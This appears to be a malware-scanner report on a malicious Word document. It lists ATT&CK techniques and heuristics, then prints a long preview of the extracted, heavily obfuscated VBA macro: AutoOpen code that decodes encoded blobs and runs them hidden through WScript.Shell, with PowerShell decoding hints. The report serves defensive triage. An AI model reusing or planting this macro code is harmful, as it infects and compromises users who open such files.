MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate Malicious Code
The sample contains VBA macros with critical firings for Shell() and WScript.Shell usage, indicating an attempt to execute external code. The AutoOpen macro and CreateObject calls further support this. The presence of a macros.bas file and the 'Password-protected archive handoff' heuristic suggest the document is designed to trick the user into enabling macros to download and run a secondary payload, likely obfuscated.
Heuristics 10
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run aULFcus + YzKUiSm + OBFNHfzpFvDW + ItWzFrQ, vbHide Select Case cEWFnp -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run aULFcus + YzKUiSm + OBFNHfzpFvDW + ItWzFrQ, vbHide Select Case cEWFnp -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LUREDocument gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 64356 bytes |
SHA-256: 481dc81e640179b493ea903da00e2172ecdc57e57bfaafde77d07a177e04d21c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
516 of 871 identifiers look randomly generated (e.g. 'msEMKtIJDzc3KszJE2YUkDaVws0Uww') — consistent with name-mangling obfuscation. Carved artifact contains 21 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ZGIDJToZd"
Function czDJItKMEsm()
On Error Resume Next
Select Case ftXPT
Case 60686
FsitK = Fix(27007)
amhERS = Int(84244)
Case 30171
kzmuK = wzskF
kklKH = ChrW(bXGqRE)
End Select
WNZIurmZ = EfGAj + tdOPz("V1AlBQMAYGAlBQNAQGAhBwYAIDAmBgYAMDA0AQNAADAkBwMAgDAzAANAEGAzAQYAEGAjBQYAQDAkBQNAQDAlBwNAgDAwAANAcDA5AQYAMGAlBwc(!)#aTz", 9, 108)
Select Case ftXPT
Case 60686
FsitK = Fix(27007)
amhERS = Int(84244)
Case 30171
kzmuK = wzskF
kklKH = ChrW(bXGqRE)
End Select
Select Case mZBLJ
Case 25676
QrSpjN = Fix(17522)
siwZG = Int(2667)
Case 61025
wbjjD = LBkTDu
ELWsDj = ChrW(UvrjPR)
End Select
JmLiOHBuzi = IHtKiw + tdOPz("fNPlj]il[z9kTtrEvnOc| 'AUDAzAAOAYGAwAAZAIDA5AgYAQGA5AgYAEGA4AwYAgDA1AgNAQGA1AQOAUDA3AgZAEDA4AANAEGAjBwYAQDAiBQZAMDAxAQMAADAlBAZAMUVG@MWoGA", 10, 117)
Select Case mZBLJ
Case 25676
QrSpjN = Fix(17522)
siwZG = Int(2667)
Case 61025
wbjjD = LBkTDu
ELWsDj = ChrW(UvrjPR)
End Select
Select Case aOhDQ
Case 50046
LuGzH = Fix(29327)
AMntdm = Int(82710)
Case 49246
bzwtUk = DORFdX
RuIbGS = ChrW(UEdbDp)
End Select
TIqUcWJscL = zOCpG + tdOPz("GciP8r6!BQO60Tcww)OPFOU<(", 15, 3)
Select Case aOhDQ
Case 50046
LuGzH = Fix(29327)
AMntdm = Int(82710)
Case 49246
bzwtUk = DORFdX
RuIbGS = ChrW(UEdbDp)
End Select
Select Case ijsKn
Case 65823
BVYHjv = Fix(58847)
YsqJLL = Int(32370)
Case 81348
HPAuY = APtvlH
mVawKm = ChrW(XdMUWi)
End Select
DwYLrqwbiph = OBAPB + tdOPz("a$MAgDAjBAOAkDAjBgNAYGAxAgMAQGAwAQZAUGA5AANAMDAlBQNAMDAiBwMAEGAiBAOAMGAjBwNAYDAlBAMAIGAzAAOAkDAjBgNAIDAyAAMAMDAlBgMAQGAyAANAMDA4AgZAMDA2AQMAUGAjBAOAUDsmwAwD<rI(cS$tjzMHYV(4fEKPLZ0oMsn5P", 36, 148)
Select Case ijsKn
Case 65823
BVYHjv = Fix(58847)
YsqJLL = Int(32370)
Case 81348
HPAuY = APtvlH
mVawKm = ChrW(XdMUWi)
End Select
Select Case Bsfnc
Case 66675
sTXWzK = Fix(58765)
dAHWK = Int(28606)
Case 753
VTNGvi = GBinp
zmcLo = ChrW(KbIoRz)
End Select
dMWubQwo = KjdvNsk + tdOPz("ksV5ki1FGrZizj[MYZoKl3VwYAQDAxAAMAADA3AgYAEDAyAgNAEGA0AwMAkDA3AQOAUDA0AQNAQGA1AAZAIDAyAgYAMGA3AQMAEGAyAANAMGA4AgYAEGAlBAk", 2, 97)
Select Case Bsfnc
Case 66675
sTXWzK = Fix(58765)
dAHWK = Int(28606)
Case 753
VTNGvi = GBinp
zmcLo = ChrW(KbIoRz)
End Select
Select Case vDoRvc
Case 81198
fjzUK = Fix(30851)
JkEBwj = Int(50978)
Case 52029
VwVjm = GGwjr
zmWtX = ChrW(DPhiZh)
End Select
tzrqs = NiTwIJ + tdOPz("#9X1wVu@H5[@jsziGAhBgYAkDAlBANAYDAiBQMAYGAyAAMAIDAwAQOAcDAyAQOAYDAlBQMAUDA4AQNAEGAxAQMAUGAjBgZAEDAmBgZAIGAmBQNAUDA0AAMAYDA4AAZAkDA5AwNAADAiBQOAgDAkBANAcDA0AgYAcDAlBQZAcDAwAwMAADAjBQYAYDAxAgMAQGAiBAMAQDAxAwMDk@08@srwP", 11, 190)
Select Case vDoRvc
Case 81198
fjzUK = Fix(30851)
JkEBwj = Int(50978)
Case 52029
VwVjm = GGwjr
zmWtX = ChrW(DPhiZh)
End Select
Select Case tdahq
Case 2217
hQEIPm = Fix(41310)
fHijiv = Int(6109)
Case 87594
svqmOm = JAUUpB
cYVSB = ChrW(LkmVZt)
End Select
wBoCfzsjlc = oOrXF + tdOPz("@jiNf$pjOvL)r$)Ru%@slBwNAUGA1AQNAQDAmBQMAcDAiBAZAMDA5AwNAEDAiBgMAIGAjBQMAQDAmBAOAIDA0AgYAcDA0AANAEDAxAAMAQDAjBANAkDAxAQNAgDAmBQZAYDAhBgMAEGA5AwYAY9uIXZMMt]GTtTumPwM", 19, 126)
Select Case tdahq
Case 2217
hQEIPm = Fix(41310)
fHijiv = Int(6109)
Case 87594
svqmOm = JAUUpB
cYVSB = ChrW(LkmVZt)
End Select
Select Case BVjwCB
Case 92424
QMlWiL = Fix(26531)
Frazw = Int(74920)
Case 97741
iJsEmw = nUUVLz
vKdoKL = ChrW(RfsfjC)
End Select
TrJZstj = uiYbqj + tdOPz("FVX29NAEGAiBwMAADA1AQNAQDAzAAOAUGAiBQZAMGAxAQMAEGA5AgMAkDAiBwYAMDA1AQOAMGAxAwNAcDAyAg$_fMjVsIi9S_EiR", 16, 80)
Select Case BVjwCB
Case 92424
QMlWiL = Fix(26531)
Frazw = Int(74920)
Case 97741
iJsEmw = nUUVLz
vKdoKL = ChrW(RfsfjC)
End Select
Select Case wXTjrM
Case 72779
wjMiiJ = Fix(69677)
Jutbz = Int(19615)
Case 94295
zjwUjt = lRUqX
XGzUoV = ChrW(IuWsza)
End Select
jnVSd = zisOWD + tdOPz("PU7%zFo4w(MUXTP!AMAIGAlBwMAMDAwAQZAYDAkBAZAMDAmBAOAEDAyAQZAYGAhBwNAwHA9AQPAcHASBQUAQDAxn$UMo", 6, 71)
Select Case wXTjrM
Case 72779
wjMiiJ = Fix(69677)
Jutbz = Int(19615)
Case 94295
zjwUjt = lRUqX
XGzUoV = ChrW(IuWsza)
End Select
Select Case ERmtn
Case 1450
wqlDHv = Fix(65188)
hVYIi = Int(86696)
Case 24748
PoNnq = nQjmoh
NBEvul = ChrW(lvFZl)
End Select
wfKGtw = zZQooa + tdOPz("wEatQYAkDA3AQMAADAxAAMAUDAyAAZAIDAlBgNAIGA0AgNAMGA0AwYAYDAyAQOAkDA4AwNAUDA1AAMAQGAhBgYAYGAwAAMAEGAjBQMAkDA3AQZAMGAzAwMAIGAZOdiIlP1z$51.uM", 16, 118)
Select Case ERmtn
Case 1450
wqlDHv = Fix(65188)
hVYIi = Int(86696)
Case 24748
PoNnq = nQjmoh
NBEvul = ChrW(lvFZl)
End Select
Select Case ZcTwb
Case 95786
ljDbi = Fix(96484)
AZROBD = Int(31880)
Case 70562
kjwFuM = SPDik
boETQ = ChrW(KuWbnj)
End Select
ijHNQzIzVV = aZriH + tdOPz("kjHa@k@(J$lu$l<0Dp8MGtjOAkBAMAkDA2AgMAIGAlBQNAQDAwAAOAMDAhBwYAIGAkBQZAgDA3AAOAYGA0AQNAgDAkBQYAYGA0AwYAIGAxAgZAUDAiBAMAQDA5AgNAMDAlBwMAMGAjBAZAEGAyAQYAkDAwAAMAIDA5AgMAcDAzAANAMGAj[J2i0", 6, 154)
Select Case ZcTwb
Case 95786
ljDbi = Fix(96484)
AZROBD = Int(31880)
Case 70562
kjwFuM = SPDik
boETQ = ChrW(KuWbnj)
End Select
Select Case LcpLv
Case 59335
PPAYL = Fix(74840)
PzbrEH = Int(33593)
Case 59316
NRvhkF = mnHOjo
iTqrDi = ChrW(aYLLkh)
End Select
EtjXQfS = HaqAmFo + tdOPz("0<3@UTTYXXssl(Vtr5[$iGC!UNAkDA4AQYAkDA0AwNAQDAjBwMAUDA1AANAkDADFKUo!a", 8, 37)
Select Case LcpLv
Case 59335
PPAYL = Fix(74840)
PzbrEH = Int(33593)
Case 59316
NRvhkF = mnHOjo
iTqrDi = ChrW(aYLLkh)
End Select
Select Case vpkLq
Case 37637
KkQvU = Fix(26179)
VKvYRs = Int(87949)
Case 74679
zEqTKo = ziJzOB
WKzFQP = ChrW(WsYjOb)
End Select
iQztl = Ohkzhn + tdOPz("[PMAIDA5AQOAUGAhBwMAADAzAQMAUDA2AgZAMDAwAQNAYDA3AQNAUGZoK9!!MAv8", 11, 52)
Select Case vpkLq
Case 37637
KkQvU = Fix(26179)
VKvYRs = Int(87949)
Case 74679
zEqTKo = ziJzOB
WKzFQP = ChrW(WsYjOb)
End Select
Select Case OBCqEh
Case 81146
zjVIWw = Fix(96008)
ZfCTGK = Int(67587)
Case 10597
wGqCbo = PNqoX
TPhffz = ChrW(LzBrGt)
End Select
SGjCSzD = dnkKIz + tdOPz("fj1.P95cP<$aj%__DW.1P<a.AZAMGA4AgNAYDA5AQZAMGA1AgYAkDA4AgMAEDAxAgNAEGA2AANAgDAxAgZAIDAmBAZAEGAwAAMAYGAkBgNAIGA1AAZAYGAwAQ$A([0", 6, 97)
Select Case OBCqEh
Case 81146
zjVIWw = Fix(96008)
ZfCTGK = Int(67587)
Case 10597
wGqCbo = PNqoX
TPhffz = ChrW(LzBrGt)
End Select
Select Case OUEiL
Case 51704
JzAHbs = Fix(44341)
LuwRZp = Int(92193)
Case 88836
icjEU = YpsVs
HStGL = ChrW(YwquC)
End Select
jWUwlSjFIIz = HKoESzO + tdOPz("@0CMAQNAMGA4AQOAMDA0AgNAMDAlBQMAQGA3AgNAEDA0AwMAgDA2AQYAYGAzAgMAYDA4AMkw]@CN[[vM$c", 14, 65)
Select Case OUEiL
Case 51704
JzAHbs = Fix(44341)
LuwRZp = Int(92193)
Case 88836
icjEU = YpsVs
HStGL = ChrW(YwquC)
End Select
Select Case KLIFck
Case 62004
swWnJE = Fix(77164)
zjaNi = Int(82144)
Case 22183
iPRDzw = HhIkJp
pXqDJ = ChrW(QCKfh)
End Select
qcrRIOHGKMl = UcdCINV + tdOPz(")C.Pj6UDAzAQOAcDAjBAOMH_J1MN@wav1[@ak", 17, 14)
Select Case KLIFck
Case 62004
swWnJE = Fix(77164)
zjaNi = Int(82144)
Case 22183
iPRDzw = HhIkJp
pXqDJ = ChrW(QCKfh)
End Select
Select Case MtLmAf
Case 14707
Shuks = Fix(49850)
jjpwVA = Int(48408)
Case 81927
vVtbmF = iJsfm
OhsmG = ChrW(CmCLqG)
End Select
uESOhWu = dWbIH + tdOPz("cc<Rj_5iXzK33w3D25[.Er$[6dFYwv!5QOAEDA5AgMAEDAmBgYAYfDE", 4, 20)
Select Case MtLmAf
Case 14707
Shuks = Fix(49850)
jjpwVA = Int(48408)
Case 81927
vVtbmF = iJsfm
OhsmG = ChrW(CmCLqG)
End Select
Select Case WuLws
Case 18908
QaLHmV = Fix(25419)
GhQwd = Int(89879)
Case 68436
tOFcf = wILsRv
NfmMNp = ChrW(DVbdzq)
End Select
doRWIN = zuOGhnC + tdOPz("zo#WHHrc k- gnirtSeruceS-ORG9aVn$jiz0XlWj 7FrE5WC7T", 26, 18)
Select Case WuLws
Case 18908
QaLHmV = Fix(25419)
GhQwd = Int(89879)
Case 68436
tOFcf = wILsRv
NfmMNp = ChrW(DVbdzq)
End Select
Select Case iiFMjX
Case 89058
cYjwUl = Fix(82113)
IViib = Int(10126)
Case 51189
hOdwVW = fWKIJ
pEHjhK = ChrW(hMXpD)
End Select
dOPEF = QTGlamd + tdOPz("k3aM]l6FX1<udSM_RzzT132%w0Vs[z5AAMAYDA4AANAEDA1AgZAADAyAQMAQDAmBANAcDA5AAOAEDAhBgZAIDAxAwNAYGAjBgMAYDAyAgZAEDA2AQNAkDAkBwYAEGA0AQZAEGA4AwMAUGA1AANAADAyAQYAIGAxAwMAIGA0AANAQGAyAAMAUDAzAANAEGAyAAOAEGAiBAZAcDKUnFEWk]", 9, 175)
Select Case iiFMjX
Case 89058
cYjwUl = Fix(82113)
IViib = Int(10126)
Case 51189
hOdwVW = fWKIJ
pEHjhK = ChrW(hMXpD)
End Select
Select Case ZFEOFt
Case 42727
czjcC = Fix(73700)
ucctQ = Int(92088)
Case 88791
nYqCka = wciVJ
IaJLm = ChrW(inUoT)
End Select
BFrqRHV = AUpvF + tdOPz("O[K(t9PDAjBwNAYDA3AAMAkDA2AAMAYDA5AQNAgDA4AANAEDo5N#)3$", 8, 41)
Select Case ZFEOFt
Case 42727
czjcC = Fix(73700)
ucctQ = Int(92088)
Case 88791
nYqCka = wciVJ
IaJLm = ChrW(inUoT)
End Select
Select Case VqbsR
Case 68273
IvXrj = Fix(92444)
hNLwR = Int(53176)
Case 19101
RJjsj = GDbbVn
zLqBH = ChrW(ANXAO)
End Select
ikKFawq = VdhFU + tdOPz("(V$7PEGAkBgMAMGAwAQYAMDA1AAOAgDA1AQMAYDAxAAOAIGAmBAMAYDAhBgNAMGA1AwYAADA5AgZAIDA2AwNAADAlBAO3ZTf_#MsPtB6(tsiz%HPPd4[XoJk5of", 32, 85)
Select Case VqbsR
Case 68273
IvXrj = Fix(92444)
hNLwR = Int(53176)
Case 19101
RJjsj = GDbbVn
zLqBH = ChrW(ANXAO)
End Select
Select Case PBOYjB
Case 13482
ORtPvi = Fix(34470)
GInXP = Int(90613)
Case 34552
LiihK = dbFHV
LRcUwt = ChrW(AjihX)
End Select
GrwjpnR = KJSmQc + tdOPz("4a3GsW[BtrH0cH6GTM6rRRw$wuAwAAZAEDAwAgMAUGA0AgYAUGA0AgYAYDAjBAMAcDAzAQOAkDAwAgMAcDA1AgZAMGA2AgZAUGA0AAZAYGA1AQOAIGA4AQZAUGA5AQYAYGAxAgMAEDA4AQZAIGA2AANAcDAxAgNAYDAjBANAADAkBAOAADA2AMl!4$2pCOw_s", 13, 155)
Select Case PBOYjB
Case 13482
ORtPvi = Fix(34470)
GInXP = Int(90613)
Case 34552
LiihK = dbFHV
LRcUwt = ChrW(AjihX)
End Select
Select Case Krdjw
Case 8939
PXhjjY = Fix(78845)
LtjUQ = Int(99339)
Case 39466
AhIUU = rMIkT
jLiiH = ChrW(YiDKAp)
End Select
RkROvICLSK = LEfbzX + tdOPz("FPGcB<@!HaCZs #qErf3ss(GT7%(ztMAEGA0AAMAQDAkBwNAQGA3AAZAQDAlBAOAQGA2AQYAQDA1AgZAUDAmBgNAYDAjBgYAMGAhBAOAMDAiBwNAcDAwAgYAQDA0AgMAUDArwCj1", 6, 100)
Select Case Krdjw
Case 8939
PXhjjY = Fix(78845)
LtjUQ = Int(99339)
Case 39466
AhIUU = rMIkT
jLiiH = ChrW(YiDKAp)
End Select
Select Case jQQAR
Case 80951
TiwJU = Fix(1061)
iijJBr = Int(45197)
Case 73960
iMjaUU = IBUsNm
HIqTD = ChrW(vWBaN)
End Select
cjtpcApuaT = Fktzm + tdOPz("CCsaa@G<9InAEGA1AwNAEDA5AQZAYDAhBwNAQGAkBANAYDAmBgYAMDAxAwNAMGA1AAOAgDA5AgNAUGA0AwNAUGA0AAOAEGAwAQZAQDA4AwMAEDA5AANAUGA2AANAUGA3AwNAUGA4AQOAQGAyAANAYDAwAQOAQDA4AQMAkDA1AwYAEDA2AgNAIGwHE0u$EHUJ0$ijo", 16, 171)
Select Case jQQAR
Case 80951
TiwJU = Fix(1061)
iijJBr = Int(45197)
Case 73960
iMjaUU = IBUsNm
HIqTD = ChrW(vWBaN)
End Select
Select Case WClikM
Case 46758
MwvlCF = Fix(32835)
UnAAcn = Int(8976)
Case 36464
ouZmmJ = kbwidb
dXQTnX = ChrW(KicjJ)
End Select
OJnhDp = pHhJsz + tdOPz("c(@5@[<w zDW<z)MXoT$DAmBANAQGA4AgNAkDAhBwYAUDA5AgMAADA5AwMAIDAkBwo9s9Ac9C", 10, 44)
Select Case WClikM
Case 46758
MwvlCF = Fix(32835)
UnAAcn = Int(8976)
Case 36464
ouZmmJ = kbwidb
dXQTnX = ChrW(KicjJ)
End Select
Select Case dwOnIo
Case 77917
HlYfKV = Fix(66965)
WiCjrw = Int(19595)
Case 24878
LLABMJ = NmPrWZ
EhfKXJ = ChrW(ThQDnf)
End Select
PIQGaYLTnWo = DcAiz + tdOPz("kXf3T1M 909Sl<01DAxAANAMDA5AAMAYGAiBwMAIGA5AQOAEDA4AAMAUDAxAgZAUGA2AgMAMDAhBQOAQDA1AAOAYGAhBQZAEDAkBAZAYDAxAwMAADAmBgYAUDAzAP$zcE95", 8, 108)
Select Case dwOnIo
Case 77917
HlYfKV = Fix(66965)
WiCjrw = Int(19595)
Case 24878
LLABMJ = NmPrWZ
EhfKXJ = ChrW(ThQDnf)
End Select
Select Case hzZGnT
Case 74583
OJRflu = Fix(74838)
wOhsR = Int(88003)
Case 42329
WRXQz = jYrfLR
XGXLwn = ChrW(ElHzJ)
End Select
izzlRfUiz = GHhlB + tdOPz("a(jF_[EX3(7##iOAxAwYAUDAhBAOAQDAwAQOAYGAhBANAIDA5AwMAkDAmBwYAADAmBgYAMGAxAQZAIGA4AQZAYDA3AQNAMGA5AwYAMDAxAwNAEGA5AANAEDA0AwNAUGA3AgMAIGA3AgZAEDAwAwYAYGAlBAMAYDA4AwYAUGA3AQNAIDAkBQOAUGAiBQZAEGAk]j#(_8tj", 10, 177)
Select Case hzZGnT
Case 74583
OJRflu = Fix(74838)
wOhsR = Int(88003)
Case 42329
WRXQz = jYrfLR
XGXLwn = ChrW(ElHzJ)
End Select
Select Case nKNck
Case 57405
zbwSs = Fix(69472)
EjwPI = Int(7299)
Case 97911
pzYFT = zniss
tzIjw = ChrW(diqfM)
End Select
BiYnOnQUc = QjSCL + tdOPz("HEs8ECHO]%YEXlFko<9%gNAMDA3AgZAgDAwAAOAYGAwAQZAYGAhBwYAQDAhBAOAcDAxAANAIGA0AAZAIDAkBQZAMDAkBQMAgDAxAQNAQDAmBwYAMDA3AwYAcDA0AAOAEDA0AQMAMDA0AwYAUDAwAwU(q#[TMzz", 10, 129)
Select Case nKNck
Case 57405
zbwSs = Fix(69472)
EjwPI = Int(7299)
Case 97911
pzYFT = zniss
tzIjw = ChrW(diqfM)
End Select
Select Case iimKac
Case 8112
cJMDuI = Fix(27947)
XFGIJf = Int(72761)
Case 89463
fDGfci = zSAsdX
QAjvh = ChrW(loYuPq)
End Select
ZwATBUwFvCH = ibqcLz + tdOPz("#_UEZ]Z#3$wZ[D3H0BiMuR90kBgYAQDA4AQMAIGAhBwYAMDA3AgYAQGAiBQYAYDA1AQZAQGA1AQOAMDAhBgYAIDAjBANAMDAzAQMAQGAjBgYAkDAzAgZAYGAjBAMAUDAyAwMAMDA4AQ6wEp4Ri@sw%", 12, 115)
Select Case iimKac
Case 8112
cJMDuI = Fix(27947)
XFGIJf = Int(72761)
Case 89463
fDGfci = zSAsdX
QAjvh = ChrW(loYuPq)
End Select
Select Case VwokT
Case 34232
OGfuL = Fix(83974)
ihPtGv = Int(35828)
Case 92713
tRZPOR = niiEn
XkhWA = ChrW(nvIzNp)
End Select
KMbWwTU = iIhws + tdOPz("03o<PS3AYDAjBQMAYGA2AAOAQGAjBQNAMDAwAgMAMGA1AQYAIGA0AgMAcDAwAQMAgDA4AAZAUDA1AQMAYGA0AQZAQDAiBwMAEGA5AgNAQDAkBQYAYDA4AwMAEZpoA", 5, 114)
Select Case VwokT
Case 34232
OGfuL = Fix(83974)
ihPtGv = Int(35828)
Case 92713
tRZPOR = niiEn
XkhWA = ChrW(nvIzNp)
End Select
Select Case MHWnO
Case 835
jHwGLU = Fix(44876)
rHAds = Int(86718)
Case 9381
MvCKio = KKPbDQ
uwKqWi = ChrW(wBFrm)
End Select
SnqGWAl = THYnjvZ + tdOPz("Z01Az0(M@2F(1rYAYDAxAwNAYDA3AAOAkDAmBQZAIGAkBgMAYGAyAAOAEDAwAQMAkDAkBgYAYGAiBAZAYGAiBQNAYDAiBgZAEDA4AAZAkDAzAwYAEGA0AQOAUDAxAwYAADAmBAZAUDAwAAOAIGAyAQNAkDAiBwNAADAiBQYAQDA5AQOAgDAlBwP", 2, 168)
Select Case MHWnO
Case 835
jHwGLU = Fix(44876)
rHAds = Int(86718)
Case 9381
MvCKio = KKPbDQ
uwKqWi = ChrW(wBFrm)
End Select
Select Case JvwtUt
Case 86862
hiabo = Fix(95142)
QYmUA = Int(58202)
Case 60733
jOjUqu = whDjdP
whfNz = ChrW(VAoEbh)
End Select
vnBLMqXM = rjGIaH + tdOPz("@]!MO@JAYDA5AAZAcDAwAQZAcDAlBwNAkDA1AQYAkDAiBQOAUGA2AwMAQDAlBANAIDA2AQOAYDAlBgMAQGAlBwMAQDAhBgNAUDA5AgNAcDAyAgMAEGA5AQNAUGA5AAMAYDAhBQNAUDA0AgM1jR06(c<wfctzV)j7(KEw__kPsfw<a", 31, 136)
Select Case JvwtUt
Case 86862
hiabo = Fix(95142)
QYmUA = Int(58202)
Case 60733
jOjUqu = whDjdP
whfNz = ChrW(VAoEbh)
End Select
Select Case lvhovA
Case 80128
NTbEUw = Fix(4850)
Ldijd = Int(51158)
Case 21582
KNTft = XCniNK
IGKpf = ChrW(zhJpsK)
End Select
WSSuWvq = EpmpwdT + tdOPz("_Fo04jzUcZPpfc_R@wTF(%$iYGAyAQZAEDAwAgYAYGAmBQMAQGA4AgYAEDA2AANAMGAhBQMAUGAwAwNAQDAxAwYAADA2AQYAQ_PXJ$pD", 8, 73)
Select Case lvhovA
Case 80128
NTbEUw = Fix(4850)
Ldijd = Int(51158)
Case 21582
KNTft = XCniNK
IGKpf = ChrW(zhJpsK)
End Select
Select Case whGVu
Case 82949
jciDP = Fix(61593)
UAbjk = Int(68082)
Case 87783
mUvcJ = ltBjbW
RSjAYm = ChrW(IlRhho)
End Select
Jorjk = oXQrH + tdOPz("Kc<.EKGPYJHoMAxAQYAYDA0AANAUDAiBQYAQGAiBgNAQDAzAwMAMDAiBgZAQDA2AQYAIGAxAAMAUGA2AQNAUDA2AgNAMDAkBAMAgDAjBAMAUDA0AA!", 2, 100)
Select Case whGVu
Case 82949
jciDP = Fix(61593)
UAbjk = Int(68082)
Case 87783
mUvcJ = ltBjbW
RSjAYm = ChrW(IlRhho)
End Select
Select Case NOCDQ
Case 23354
TOworF = Fix(65911)
NLjSSJ = Int(95453)
Case 65584
ioAas = cXndZd
XwRPNn = ChrW(wPIZbO)
End Select
PvKzPZjPz = hQDTtQ + tdOPz(")0REojc51AgTAcGAoBAaAQDACBgMAsCAQBgTA8EAxBwVA8CAvAwSA4EA8BgM5435a05061b3143240f3476111d29467'($(iSNacoLLALaBoLGoTGnirTSERucEs::]LAhSrAM.SeCIvrESPoRETNI.EmitNuR[(iSNAGNIrtSoTRTP::]lahSRAM.SEcivREspORetni.emItX<YcX_ICR<jAJKNKMuS[M%0_", 25, 198)
Select Case NOCDQ
Case 23354
TOworF = Fix(65911)
NLjSSJ = Int(95453)
Case 65584
ioAas = cXndZd
XwRPNn = ChrW(wPIZbO)
End Select
Select Case bvkbT
Case 4319
QRUoo = Fix(73086)
vwYbj = Int(63315)
Case 54428
ioBQjo = fIoRi
dErVR = ChrW(zzaHYi)
End Select
RsubOJaz = KOzzPjB + tdOPz("M3rDz0[XNAUGAyAQYAADAyAAMAIGAyAwNAkDAzAwYAEGAjBQYAMDA0AwNAEDAmBQZAYDAyAQMAcDA1AAOAQDA5AgYAQGA0AQZAQDAxAAMAkDA2AgNAYGAhBgYAIDAyAQYAIGA4AQMAUDAjBwMAcDAxAwNAwSavsW$wRYZ", 12, 146)
Select Case bvkbT
Case 4319
QRUoo = Fix(73086)
vwYbj = Int(63315)
Case 54428
ioBQjo = fIoRi
dErVR = ChrW(zzaHYi)
End Select
Select Case WjjNK
Case 54772
zBWnf = Fix(28538)
BYDiA = Int(58898)
Case 40894
knDXfa = wYcRK
iIzXi = ChrW(vjwlAI)
End Select
FwfUnD = fDNMj + tdOPz("n<631Pwk jHZ0RiPqk.ljRAMDAzAQYAIGA2AAOAUDAmBQZAEDAwAgZAUDAzAQYAIDAyAuMN<3", 6, 46)
Select Case WjjNK
Case 54772
zBWnf = Fix(28538)
BYDiA = Int(58898)
Case 40894
knDXfa = wYcRK
iIzXi = ChrW(vjwlAI)
End Select
Select Case ifKvE
Case 53626
JBowh = Fix(94242)
iCFKw = Int(7283)
Case 81756
rUkmaj = tHNlXh
rCQkf = ChrW(kvQKw)
End Select
BUTzr = MmwVnL + tdOPz("waazz1n)#PN$<u$R$3zjkPq@2r.GwAOAcDAjBwMAYDAkBwYAcDA0AANAUDA4AAMAIDA0AgYAUDA2AQMAYDAmBgYAUDA3AgYAkDAkBQYAMDAkBQYAcDAxAwMAZfZ0aVsFF", 10, 91)
Select Case ifKvE
Case 53626
JBowh = Fix(94242)
iCFKw = Int(7283)
Case 81756
rUkmaj = tHNlXh
rCQkf = ChrW(kvQKw)
End Select
Select Case HXDRY
Case 72542
EhHSt = Fix(87758)
WtwMV = Int(92864)
Case 43443
FmjMOu = pppiqO
FOHAf = ChrW(XTJLXw)
End Select
WLWowiwv = HiSZD + tdOPz("(dic3iXrrV6!n]@stD3izaw62AAOAADAkBQZAADA2AAOAUGAjBwMAcDAmBwNAADAkBAMCiWR#01", 8, 44)
Select Case HXDRY
Case 72542
EhHSt = Fix(87758)
WtwMV = Int(92864)
Case 43443
FmjMOu = pppiqO
FOHAf = ChrW(XTJLXw)
End Select
Select Case FYwlf
Case 16920
UpwqCu = Fix(50982)
LzjqZ = Int(24610)
Case 77082
HiXPB = lXwtu
LIwnqr = ChrW(jwzAd)
End Select
dYotm = cmLXlpI + tdOPz("9rc8GWf61EN8P 7EnuR[ ( c(oP0zDM@_P@H0dIMl6[XR", 23, 7)
Select Case FYwlf
Case 16920
UpwqCu = Fix(50982)
LzjqZ = Int(24610)
Case 77082
HiXPB = lXwtu
LIwnqr = ChrW(jwzAd)
End Select
Select Case dZzhwL
Case 88701
iJWEO = Fix(99193)
PzBAt = Int(15169)
Case 2050
UPMot = lswqMq
zTtord = ChrW(bdLbm)
End Select
UwjqEfO = jouSq + tdOPz("X0wrPUAwAwYAkDA2AwYAIGAzAgZAIGA4AQOAQDAmBgMAUGAwAANAkDAyAANAgDA0AQNAIGAyAwNAIGAmBwMAIDA4AAMAEDAzAgYAIDAxAAZAIGA2AwNAYDAyAwNAcDAhBwNAUDAyAAZAgDA5AQMAQDA3AgZAUDA2AAOAUGA5AANAUG<cIMlvksP%OXwc3R_", 18, 168)
Select Case dZzhwL
Case 88701
iJWEO = Fix(99193)
PzBAt = Int(15169)
Case 2050
UPMot = lswqMq
zTtord = ChrW(bdLbm)
End Select
Select Case tRcjTB
Case 28566
MLIsIS = Fix(82981)
voZEPu = Int(39891)
Case 35908
rDtWA = LiOUCs
XuvDj = ChrW(aOoZBP)
End Select
